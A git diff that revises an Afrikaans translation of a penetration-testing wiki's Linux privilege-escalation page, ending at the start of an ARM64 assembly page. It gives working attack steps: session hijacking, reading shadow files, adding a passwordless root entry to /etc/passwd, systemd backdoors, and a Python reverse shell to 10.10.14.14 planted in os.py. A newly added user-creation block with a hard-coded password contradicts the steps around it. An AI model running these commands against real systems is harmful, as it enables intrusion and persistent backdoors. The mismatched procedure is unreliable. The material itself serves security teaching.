directory, the **bit for "execute"** implies that the user affected can "**cd**" into the folder.\ +The **"read"** bit implies the user can **list** the **files**, and the **"write"** bit implies the user can **delete** and **create** new **files**. ## ACLs -Access Control Lists (ACLs) verteenwoordig die sekondêre laag van diskresionêre toestemmings, in staat om **die tradisionele ugo/rwx-toestemmings te oorheers**. Hierdie toestemmings verbeter die beheer oor lêer- of gids-toegang deur regte toe te laat of te weier aan spesifieke gebruikers wat nie eienaars is of deel van die groep nie. Hierdie vlak van **granulariteit verseker meer presiese toegangsbestuur**. Verdere besonderhede kan gevind word [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Toegangsbeheerlyste (ACLs) verteenwoordig die sekondêre laag van diskresionêre toestemmings, in staat om die tradisionele ugo/rwx permissions te oor-skryf. Hierdie toestemmings verbeter beheer oor lêer- of gids-toegang deur regs toe te laat of te weier aan spesifieke users wat nie die eienaar is of deel van die groep nie. Hierdie vlak van **granulariteit verseker meer presiese toegangbestuur**. Verdere besonderhede kan gevind word [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Gee** gebruiker "kali" lees- en skryfregte oor 'n lêer: +**Gee** user "kali" read and write permissions over a file: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Kry** lêers met spesifieke ACLs vanaf die stelsel: +**Kry** lêers met spesifieke ACLs van die stelsel: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Oop shell sessions +## Oop shell sessies -In **ou weergawes** kan jy 'n **shell** session van 'n ander gebruiker (**root**) **hijack**.\ -In **nuutste weergawes** sal jy slegs na screen sessions van **jou eie gebruiker** kan **connect**. Egter, kan jy **interessante inligting binne die session** vind. +In **ou weergawes** kan jy **hijack** 'n **shell** sessie van 'n ander gebruiker (**root**).\ +In **nuutste weergawes** sal jy slegs kan **connect** na screen sessions van **jou eie gebruiker**. Dit gesê, jy kan **interessante inligting binne die session** vind. ### screen sessions hijacking @@ -1109,7 +1108,7 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Dit was 'n probleem met **old tmux versions**. Ek kon as 'n nie-geprivilegieerde gebruiker nie 'n tmux (v2.1) sessie wat deur root geskep is hijack nie. +Dit was 'n probleem met **ou tmux weergawes**. Ek kon as 'n nie-privilegieerde gebruiker nie 'n tmux (v2.1) sessie wat deur root geskep is, hijack nie. **Lys tmux sessies** ```bash @@ -1129,52 +1128,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Kyk na die **Valentine box van HTB** vir 'n voorbeeld. +Kyk na **Valentine box from HTB** vir 'n voorbeeld. ## SSH -### Debian OpenSSL Voorspelbare PRNG - CVE-2008-0166 +### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Alle SSL- en SSH-sleutels wat op Debian-gebaseerde stelsels (Ubuntu, Kubuntu, ens.) tussen September 2006 en 13 Mei 2008 gegenereer is, kan deur hierdie fout geraak wees.\ -Hierdie fout word veroorsaak wanneer 'n nuwe ssh-sleutel in daardie OS geskep word, aangesien **slegs 32,768 variasies moontlik was**. Dit beteken dat al die moontlikhede bereken kan word en **met die ssh publieke sleutel kan jy soek na die ooreenstemmende private sleutel**. Jy kan die berekende moontlikhede hier vind: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Al die SSL- en SSH-sleutels wat op Debian-gebaseerde stelsels (Ubuntu, Kubuntu, ens.) tussen September 2006 en 13 Mei 2008 gegenereer is, kan deur hierdie fout geraak wees.\ +Hierdie fout ontstaan wanneer 'n nuwe ssh-sleutel in daardie OS geskep word, aangesien **slegs 32,768 variasies moontlik was**. Dit beteken dat al die moontlikhede bereken kan word en **as jy die ssh publieke sleutel het, kan jy na die ooreenstemmende private sleutel soek**. Jy kan die berekende moontlikhede hier vind: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interessante konfigurasiewaardes -- **PasswordAuthentication:** Bepaal of wagwoordverifikasie toegelaat word. Die verstek is `no`. -- **PubkeyAuthentication:** Bepaal of publieke sleutel-verifikasie toegelaat word. Die verstek is `yes`. -- **PermitEmptyPasswords**: Wanneer wagwoordverifikasie toegelaat word, bepaal dit of die bediener aanmeldings na rekeninge met leë wagwoordstringe toelaat. Die verstek is `no`. +- **PasswordAuthentication:** Gee aan of wagwoordverifikasie toegelaat word. Die standaard is `no`. +- **PubkeyAuthentication:** Gee aan of publieke sleutel-verifikasie toegelaat word. Die standaard is `yes`. +- **PermitEmptyPasswords**: Wanneer wagwoordverifikasie toegelaat word, bepaal dit of die bediener aanmeldings na rekeninge met leë wagwoorde toelaat. Die standaard is `no`. ### PermitRootLogin -Bepaal of root kan aanmeld via ssh; verstek is `no`. Moontlike waardes: +Gee aan of root kan aanmeld met ssh, standaard is `no`. Moontlike waardes: - `yes`: root kan aanmeld met wagwoord en private sleutel -- `without-password` or `prohibit-password`: root kan slegs met 'n private sleutel aanmeld -- `forced-commands-only`: Root kan slegs aanmeld met 'n private sleutel en as die opdragopsies gespesifiseer is -- `no` : nee +- `without-password` of `prohibit-password`: root kan slegs aanmeld met 'n private sleutel +- `forced-commands-only`: root kan slegs aanmeld met 'n private sleutel en as die commands-opsies gespesifiseer is +- `no`: nie toegelaat ### AuthorizedKeysFile -Bepaal lêers wat die publieke sleutels bevat wat gebruik kan word vir gebruiker-verifikasie. Dit kan tokens soos `%h` bevat, wat vervang sal word deur die tuismap. **Jy kan absolute paaie aandui** (begin met `/`) of **relatiewe paaie vanaf die gebruiker se tuismap**. Byvoorbeeld: +Gee lêers aan wat die publieke sleutels bevat wat vir gebruikersverifikasie gebruik kan word. Dit kan tokens soos `%h` bevat, wat met die tuisgids vervang sal word. **Jy kan absolute paaie aandui** (begin met `/`) of **relatiewe paaie vanaf die gebruiker se tuisgids**. Byvoorbeeld: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Daardie konfigurasie dui aan dat as jy probeer om aan te meld met die **private** key van die gebruiker "**testusername**", sal ssh die public key van jou key vergelyk met dié wat in `/home/testusername/.ssh/authorized_keys` en `/home/testusername/access` geleë is +Daardie konfigurasie sal aandui dat as jy probeer aanmeld met die **private** sleutel van die gebruiker "**testusername**", sal ssh die public key van jou sleutel vergelyk met dié wat in `/home/testusername/.ssh/authorized_keys` en `/home/testusername/access` geleë is. ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding stel jou in staat om **use your local SSH keys instead of leaving keys** (sonder passphrases!) op jou server te laat staan. Dit beteken dat jy in staat sal wees om **jump** via ssh **to a host** en van daar **jump to another** host **using** die **key** geleë in jou **initial host**. +SSH agent forwarding laat jou toe om **use your local SSH keys instead of leaving keys** (without passphrases!) op jou server te hê. Jy sal dus via ssh **jump** **to a host** kan gaan en van daar **jump to another** host kan spring **using** die **key** wat op jou **initial host** geleë is. -Jy moet hierdie opsie in `$HOME/.ssh.config` instel soos volg: +Jy moet hierdie opsie in `$HOME/.ssh.config` stel soos volg: ``` Host example.com ForwardAgent yes ``` -Let wel dat as `Host` `*` is, elke keer wanneer die gebruiker na 'n ander masjien spring, daardie masjien toegang tot die sleutels sal hê (wat 'n sekuriteitskwessie is). +Let daarop dat as `Host` `*` is elke keer wanneer die gebruiker na 'n ander masjien spring, daardie gasheer die sleutels kan toegang kry (wat 'n sekuriteitsprobleem is). -Die lêer `/etc/ssh_config` kan hierdie **opsies** **oorheers** en hierdie konfigurasie toelaat of weier. Die lêer `/etc/sshd_config` kan ssh-agent forwarding **toelaat** of **weier** met die sleutelwoord `AllowAgentForwarding` (standaard is toegelaat). +Die lêer `/etc/ssh_config` kan **oorheers** hierdie **opsies** en hierdie konfigurasie toelaat of weier.\ +Die lêer `/etc/sshd_config` kan ssh-agent forwarding **toelaat** of **weier** met die sleutelwoord `AllowAgentForwarding` (standaard is toelaat). -As jy sien dat Forward Agent in 'n omgewing geconfigureer is, lees die volgende bladsy aangesien **you may be able to abuse it to escalate privileges**: +As jy vind dat Forward Agent in 'n omgewing gekonfigureer is, lees die volgende bladsy aangesien **jy dit moontlik kan misbruik om bevoegdhede te verhoog**: {{#ref}} @@ -1183,71 +1183,77 @@ ssh-forward-agent-exploitation.md ## Interessante Lêers -### Profiellêers +### Profiel-lêers -Die lêer `/etc/profile` en die lêers onder `/etc/profile.d/` is **skripte wat uitgevoer word wanneer 'n gebruiker 'n nuwe shell begin**. Daarom, as jy **enigeen daarvan kan skryf of wysig kan jy escalate privileges**. +Die lêer `/etc/profile` en die lêers onder `/etc/profile.d/` is **skripte wat uitgevoer word wanneer 'n gebruiker 'n nuwe shell begin**. Daarom, as jy enige daarvan kan **skryf of wysig kan jy bevoegdhede verhoog**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -As enige vreemde profielskrip gevind word, moet jy dit nagaan vir **sensitiewe besonderhede**. +As 'n vreemde profielskrip gevind word, moet jy dit vir **sensitiewe besonderhede** nagaan. ### Passwd/Shadow Lêers -Afhangend van die OS kan die `/etc/passwd` en `/etc/shadow` lêers 'n ander naam hê of daar kan 'n rugsteun wees. Daarom word dit aanbeveel om **al die lêers te vind** en **te kontroleer of jy dit kan lees** om te sien **of daar hashes in die lêers is**: +Afhangend van die bedryfstelsel kan die `/etc/passwd` en `/etc/shadow` lêers 'n ander naam hê of daar kan 'n rugsteun wees. Daarom word dit aanbeveel om **al die lêers te vind** en **te kyk of jy dit kan lees** om te sien **of daar hashes in die lêers is**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Soms kan jy **password hashes** in die `/etc/passwd` (of ekwivalente) lêer vind. +In sommige gevalle kan jy **password hashes** binne die `/etc/passwd` (of ekwivalente) lêer vind. ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Skryfbaar /etc/passwd +### Skryfbare /etc/passwd -Eerstens, genereer 'n wagwoord met een van die volgende kommando's. +Eerstens, genereer 'n wagwoord met een van die volgende opdragte. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Voeg dan die gebruiker `hacker` by en voeg die gegenereerde wagwoord by. +Voeg die gebruiker `hacker` by en stel die gegenereerde wagwoord: + +```bash +sudo useradd -m -s /bin/bash hacker +echo 'hacker:K9t$w7Bq!2L#' | sudo chpasswd +sudo chage -d 0 hacker +``` ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` Byvoorbeeld: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Jy kan nou die `su` opdrag gebruik met `hacker:hacker` +Jy kan nou die `su` kommando gebruik met `hacker:hacker` -Alternatiewelik kan jy die volgende reëls gebruik om 'n dummy-gebruiker sonder 'n wagwoord by te voeg.\ -WAARSKUWING: jy kan die huidige sekuriteit van die masjien verswak. +Alternatiewelik, kan jy die volgende reëls gebruik om 'n dummy gebruiker sonder 'n wagwoord by te voeg.\ +WAARSKUWING: dit kan die huidige sekuriteit van die masjien verswak. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -LET WEL: Op BSD-platforms is `/etc/passwd` geleë by `/etc/pwd.db` en `/etc/master.passwd`, en ook is `/etc/shadow` hernoem na `/etc/spwd.db`. +LET WEL: Op BSD-platforms is `/etc/passwd` geleë by `/etc/pwd.db` en `/etc/master.passwd`, ook is `/etc/shadow` hernoem na `/etc/spwd.db`. -Jy moet nagaan of jy kan **skryf in sekere sensitiewe lêers**. Byvoorbeeld, kan jy na 'n **konfigurasielêer van 'n diens** skryf? +Jy moet nagaan of jy **in sekere sensitiewe lêers kan skryf**. Byvoorbeeld, kan jy in 'n sekere **dienskonfigurasielêer** skryf? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Byvoorbeeld, as die masjien 'n **tomcat** bediener draai en jy kan **modify the Tomcat service configuration file inside /etc/systemd/,** dan kan jy die reëls wysig: +Byvoorbeeld, as die masjien 'n **tomcat** server aan die gang het en jy kan die **Tomcat service configuration file inside /etc/systemd/,** wysig, dan kan jy die lyne wysig: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Jou backdoor sal die volgende keer dat tomcat gestart word, uitgevoer word. +Jou backdoor sal uitgevoer word die volgende keer dat tomcat begin word. -### Kontroleer gidse +### Kontroleer vouers -Die volgende gidse mag backups of interessante inligting bevat: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Waarskynlik sal jy nie die laaste een kan lees nie, maar probeer.) +Die volgende vouers mag backups of interessante inligting bevat: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Waarskynlik sal jy nie die laaste een kan lees nie, maar probeer) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Vreemde ligging/Owned files +### Eienaardige ligging/Owned lêers ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1280,7 +1286,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Skripte/Uitvoerbare lêers in PATH** +### **Skrip/Binêre in PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1292,26 +1298,26 @@ ls -alhR /srv/www/htdocs/ 2>/dev/null ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ``` -### **Rugsteunkopieë** +### **Rugsteune** ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Bekende lêers wat passwords bevat +### Bekende lêers wat wagwoorde bevat -Lees die kode van [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), dit soek **verskeie moontlike lêers wat passwords kan bevat**.\ -**Nog 'n interessante hulpmiddel** wat jy kan gebruik om dit te doen is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) wat 'n open source-toepassing is wat gebruik word om baie passwords te onttrek wat op 'n plaaslike rekenaar gestoor is vir Windows, Linux & Mac. +Lees die kode van [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), dit soek na **verskeie moontlike lêers wat wagwoorde kan bevat**.\ +**Nog 'n interessante hulpmiddel** wat jy hiervoor kan gebruik is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) wat 'n open source-toepassing is wat gebruik word om baie wagwoorde wat op 'n plaaslike rekenaar vir Windows, Linux & Mac gestoor is, uit te haal. -### Logs +### Loglêers -As jy logs kan lees, kan jy dalk **interessante/vertroulike inligting daarin** vind. Hoe vreemder die log is, hoe interessanter sal dit waarskynlik wees.\ -Ook, sommige "**sleg**" gekonfigureerde (backdoored?) **audit logs** kan jou toelaat om **passwords op te teken** in audit logs soos verduidelik in hierdie pos: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +As jy loglêers kan lees, mag jy dalk **interessante/vertroulike inligting daarin** vind. Hoe vreemder die loglêer is, hoe interessanter sal dit waarskynlik wees.\ +Ook kan sommige "**sleg**" geconfigureerde (backdoored?) **audit logs** jou toelaat om wagwoorde binne audit logs op te teken soos in hierdie pos verduidelik: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Om **logs te lees die groep** [**adm**](interesting-groups-linux-pe/index.html#adm-group) sal baie nuttig wees. +Om **logs te lees**, sal die groep [**adm**](interesting-groups-linux-pe/index.html#adm-group) baie nuttig wees. -### Shell lêers +### Shell files ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1324,41 +1330,41 @@ Om **logs te lees die groep** [**adm**](interesting-groups-linux-pe/index.html#a ``` ### Generic Creds Search/Regex -Jy moet ook kyk vir lêers wat die woord "**password**" in die **naam** of in die **inhoud** bevat, en kyk ook vir IPs en emails in logs, of hashes regexps.\ -Ek gaan nie hier lys hoe om dit alles te doen nie, maar as jy geïnteresseerd is kan jy die laaste kontroles wat [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) uitvoer nagaan. +Jy moet ook kyk vir lêers wat die woord "**password**" in hul **naam** of binne die **inhoud** bevat, en kyk ook vir IPs en emails in logs, of hashes regexps.\ +Ek gaan nie hier lys hoe om dit alles te doen nie, maar as jy belangstel kan jy die laaste kontroles wat [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) uitvoer nagaan. ## Skryfbare lêers ### Python library hijacking -As jy weet vanaf **waar** 'n python script uitgevoer gaan word en jy **kan binne** daardie gids skryf of jy kan **wysig python libraries**, kan jy die os library wysig en dit backdoor (as jy daar kan skryf waar die python script uitgevoer gaan word, kopieer en plak die os.py library). +As jy weet van **waar** 'n python script uitgevoer gaan word en jy **kan binne** daardie gids skryf of jy kan **modify python libraries**, kan jy die OS library wysig en dit backdoor (as jy daar kan skryf waar die python script uitgevoer gaan word, kopieer en plak die os.py library). -Om **backdoor the library** voeg net aan die einde van die os.py library die volgende reël by (verander IP en PORT): +Om **backdoor the library** te doen, voeg net aan die einde van die os.py library die volgende reël by (verander IP en PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Logrotate exploitation -'n Kwesbaarheid in `logrotate` laat gebruikers met **write permissions** op 'n log file of sy ouerdirektore potensieel toe om verhoogde bevoegdhede te verkry. Dit is omdat `logrotate`, wat dikwels as **root** loop, gemanipuleer kan word om ewekansige lêers uit te voer, veral in gidse soos _**/etc/bash_completion.d/**_. Dit is belangrik om toestemmings nie net in _/var/log_ na te gaan nie, maar ook in enige gids waar log rotation toegepas word. +'n Kwasbaarheid in `logrotate` laat gebruikers met **write permissions** op 'n log file of sy ouerdirektorieë moontlik toe om verhoogde voorregte te verkry. Dit is omdat `logrotate`, wat dikwels as **root** loop, gemanipuleer kan word om arbitrêre lêers uit te voer, veral in gidse soos _**/etc/bash_completion.d/**_. Dit is belangrik om nie net die permissies in _/var/log_ te kontroleer nie, maar ook in enige gids waar log-rotasie toegepas word. > [!TIP] -> Hierdie kwesbaarheid raak `logrotate` version `3.18.0` and older +> Hierdie kwesbaarheid raak `logrotate` weergawe `3.18.0` en ouer Meer gedetailleerde inligting oor die kwesbaarheid is te vinde op hierdie bladsy: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Jy kan hierdie kwesbaarheid uitbuit met [**logrotten**](https://github.com/whotwagner/logrotten). -Hierdie kwesbaarheid is baie soortgelyk aan [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** dus wanneer jy vind dat jy logs kan verander, kyk wie daardie logs bestuur en kontroleer of jy bevoegdhede kan eskaleer deur die logs met symlinks te vervang. +Hierdie kwesbaarheid is baie soortgelyk aan [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** dus wanneer jy ontdek dat jy logs kan verander, kyk wie daardie logs bestuur en kyk of jy voorregte kan eskaleer deur die logs te vervang met symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Kwesbaarheid verwysing:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. +As, om watter rede ook al, 'n gebruiker in staat is om 'n `ifcf-` skrip na _/etc/sysconfig/network-scripts_ te **write** of 'n bestaande een te **adjust**, dan is jou **system is pwned**. -Network-skripte, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). +Netwerkskripte, _ifcg-eth0_ byvoorbeeld, word gebruik vir netwerkverbindings. Hulle lyk presies soos .INI-lêers. Hulle word egter ~sourced~ op Linux deur Network Manager (dispatcher.d). -In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. +In my geval word die `NAME=` attribuut in hierdie netwerkskripte nie korrek hanteer nie. As jy **wit/leë spasie in die naam het, probeer die stelsel die deel ná die wit/leë spasie uit te voer**. Dit beteken dat **alles ná die eerste leë spasie as root uitgevoer word**. For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1368,15 +1374,15 @@ DEVICE=eth0 ``` (_Let op die leë spasie tussen Network en /bin/id_) -### **init, init.d, systemd, en rc.d** +### **init, init.d, systemd, and rc.d** -Die gids `/etc/init.d` bevat **scripts** vir System V init (SysVinit), die **klassieke Linux-diensbestuursisteem**. Dit sluit scripts in om dienste te `start`, `stop`, `restart`, en soms `reload`. Hierdie kan direk uitgevoer word of via simboliese skakels gevind in `/etc/rc?.d/`. 'n Alternatiewe pad in Redhat-stelsels is `/etc/rc.d/init.d`. +Die gids `/etc/init.d` is die tuiste van **skripte** vir System V init (SysVinit), die **klassieke Linux-diensbestuurstelsel**. Dit sluit skripte in om dienste te `start`, `stop`, `restart`, en soms `reload`. Hierdie kan direk uitgevoer word of deur simboliese skakels in `/etc/rc?.d/`. 'n Alternatiewe pad op Redhat-stelsels is `/etc/rc.d/init.d`. -Aan die ander kant is `/etc/init` geassosieer met **Upstart**, 'n nuwer **diensbestuur** wat deur Ubuntu ingevoer is, en gebruik konfigurasielêers vir diensbestuurtake. Ten spyte van die oorskakeling na Upstart, word SysVinit-scripts steeds langs Upstart-konfigurasies gebruik weens 'n versoenbaarheidslaag in Upstart. +Aan die ander kant is `/etc/init` geassosieer met **Upstart**, 'n nuwer **diensbestuur** wat deur Ubuntu ingevoer is, en gebruik konfigurasiëlêers vir diensbestuurstake. Ten spyte van die oorskakeling na Upstart word SysVinit-skripte steeds langs Upstart-konfigurasies gebruik weens 'n versoenbaarheidslaag in Upstart. -**systemd** verskyn as 'n moderne initialiserings- en diensbestuurder en bied gevorderde funksies soos on-demand daemon opstart, automount-bestuur, en stelseltoestand-snapshots. Dit organiseer lêers in `/usr/lib/systemd/` vir distribusiepakkette en `/etc/systemd/system/` vir administrateurwysigings, wat die stelseladministrasieproses vereenvoudig. +**systemd** verskyn as 'n moderne initsialisasie- en diensbestuurder, wat gevorderde funksies bied soos on-demand daemon-starting, automount-bestuur, en stelseltoestand-snapshots. Dit organiseer lêers in `/usr/lib/systemd/` vir verspreidingspakkette en `/etc/systemd/system/` vir administrateur-wysigings, wat die stelseladministrasieproses vereenvoudig. -## Ander truuks +## Ander Trikke ### NFS Privilege escalation @@ -1401,14 +1407,14 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks heg gewoonlik 'n syscall om met voorregte kernel-funksionaliteit aan 'n userspace manager bloot te lê. Swak manager-authentisering (bv. signature checks gebaseer op FD-order of swak wagwoordskemas) kan 'n plaaslike app in staat stel om die manager te imiteer en na root te eskaleer op reeds-ge-rootte toestelle. Lees meer en uitbuitingsbesonderhede hier: +Android rooting frameworks koppel gewoonlik 'n syscall om bevoorregte kernel-funksionaliteit aan 'n userspace manager bloot te lê. Swakker manager-verifikasie (bv. signature checks gebaseer op FD-order of swak wagwoordskemas) kan 'n plaaslike app in staat stel om die manager na te boots en op reeds-geroote toestelle na root te eskaleer. Lees meer en eksploitasiemode inligting hier: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Kernel Sekuriteitsbeskerming +## Kernel Sekuriteitsbeskermings - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) @@ -1426,11 +1432,11 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns in Linux en macOS [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**EvilAbigail (fisiese toegang):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**Versameling van meer skripte**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## Verwysings diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md index b86b5d9fd..38310343d 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md @@ -1,255 +1,258 @@ -# Inleiding tot ARM64v8 +# Introduction to ARM64v8 {{#include ../../../banners/hacktricks-training.md}} -## **Uitsondering Niveaus - EL (ARM64v8)** +## **Exception Levels - EL (ARM64v8)** -In die ARMv8-argitektuur definieer uitvoeringsniveaus, bekend as Uitsondering Niveaus (ELs), die voorregte en vermoëns van die uitvoeringsomgewing. Daar is vier uitsondering niveaus, wat wissel van EL0 tot EL3, elk met 'n ander doel: +In ARMv8-argitektuur definieer uitvoeringsvlakke, bekend as Exception Levels (ELs), die voorregvlak en vermoëns van die uitvoeringsomgewing. Daar is vier exception-vlakke, van EL0 tot EL3, elk met 'n ander doel: -1. **EL0 - Gebruikersmodus**: -- Dit is die minste bevoorregte vlak en word gebruik om gewone toepassingskode uit te voer. -- Toepassings wat op EL0 loop, is van mekaar en van die stelselsagteware geïsoleer, wat sekuriteit en stabiliteit verbeter. -2. **EL1 - Bedryfstelsel Kernel Modus**: -- Meeste bedryfstelsel-kernels loop op hierdie vlak. -- EL1 het meer voorregte as EL0 en kan toegang tot stelselhulpbronne verkry, maar met sekere beperkings om stelselintegriteit te verseker. -3. **EL2 - Hypervisor Modus**: -- Hierdie vlak word gebruik vir virtualisering. 'n Hypervisor wat op EL2 loop, kan verskeie bedryfstelsels bestuur (elke in sy eie EL1) wat op dieselfde fisiese hardeware loop. +1. **EL0 - User Mode**: +- Dit is die minste-bevoorregte vlak en word gebruik vir die uitvoering van gewone toepassingkode. +- Toepassings wat by EL0 loop, is van mekaar en van die stelselprogrammatuur geïsoleer, wat sekuriteit en stabiliteit verbeter. +2. **EL1 - Operating System Kernel Mode**: +- Die meeste bedryfstelselkernels hardloop op hierdie vlak. +- EL1 het meer voorregte as EL0 en kan stelselhulpbronne toegang, maar met sekere beperkings om stelselintegriteit te verseker. +3. **EL2 - Hypervisor Mode**: +- Hierdie vlak word vir virtualisering gebruik. 'n Hypervisor wat by EL2 loop kan meerdere bedryfstelsels bestuur (elkeen in sy eie 